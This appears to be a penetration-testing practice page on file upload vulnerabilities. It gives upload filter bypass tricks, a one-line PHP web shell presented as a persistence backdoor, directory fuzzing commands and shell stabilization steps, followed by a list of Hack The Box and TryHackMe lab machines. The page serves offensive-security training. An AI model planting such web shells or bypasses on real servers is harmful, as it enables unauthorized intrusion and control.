File Upload Vulnerabilities: practice machines and key commands
By Daniel Dayan ยท Updated
Upload features become a foothold when the server stores attacker-controlled content where it can be executed. Check the allowed extensions, then try alternates such as .phtml, .php5, double extensions, case changes and null-byte style tricks, and test whether the content type or magic bytes are validated. A GIF header followed by PHP code often passes naive checks. Find where files land with directory fuzzing or by reading source, and confirm that the directory executes scripts. If execution is blocked, uploads can still enable stored XSS, path traversal through the filename or overwriting configuration such as .htaccess. After getting a web shell, upgrade it to a proper reverse shell. The boxes below each rely on an upload weakness or a related web shell step.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
Minimal PHP Single-Line Backdoor
Lightweight PHP command execution backdoor for quick web root persistence.
echo '<?php system($_GET["cmd"]); ?>' > shell.phpffuf Directory & Endpoint Fuzzing
High-speed directory enumeration with auto-calibrated filtering and extension recursion.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://{TARGET_IP}/FUZZ -e .php,.html,.txt,.bak,.js -ac -mc 200,301,302,403Gobuster Fast Directory Busting
Standard Go-based multithreaded directory search.
gobuster dir -u http://{TARGET_IP}/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,sh,json -t 40 -b 404TTY Interactive Shell Stabilization (Python + stty)
Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140
Keep going
- Methodology: Phase 04: Foothold Execution & Initial Access
- Cheatsheet: Web & Directory Fuzzing
- Cheatsheet: Exploitation & Payloads
- Shells: Reverse shell one-liners
File Upload Vulnerabilities machines (9)
8 of these are machines I solved myself and are listed first within each difficulty. 5 Linux, 4 Windows.
Listed when a machine has a catalog tag that is one of: file upload, upload, unrestricted file upload, web shell. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
File Upload Vulnerabilities at a glance
- By platform: 8 Hack The Box, 1 TryHackMe.
- On these practice lists: OSCP (1), CWEE (1), HTB Starting Point (1).
- Tags that most often appear alongside it: CVE-2017-7269 (2).
- Solved by me, with a page here: Base (Linux Very Easy), Bank (Linux Easy), Devel (Windows Easy), Grandpa (Windows Easy), Granny (Windows Easy), Jerry (Windows Easy), Nibbles (Linux Easy), RootMe (Linux Easy).
Very Easy (1)
| Machine | Platform | OS |
|---|---|---|
| Base | HTB | Linux |
Easy (8)
| Machine | Platform | OS |
|---|---|---|
| Bank IppSec | HTB | Linux |
| Devel IppSec | HTB | Windows |
| Grandpa IppSec | HTB | Windows |
| Granny IppSec | HTB | Windows |
| Jerry IppSec | HTB | Windows |
| Nibbles IppSec | HTB | Linux |
| RootMe | THM | Linux |
| OpenSource IppSec | HTB | Linux |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.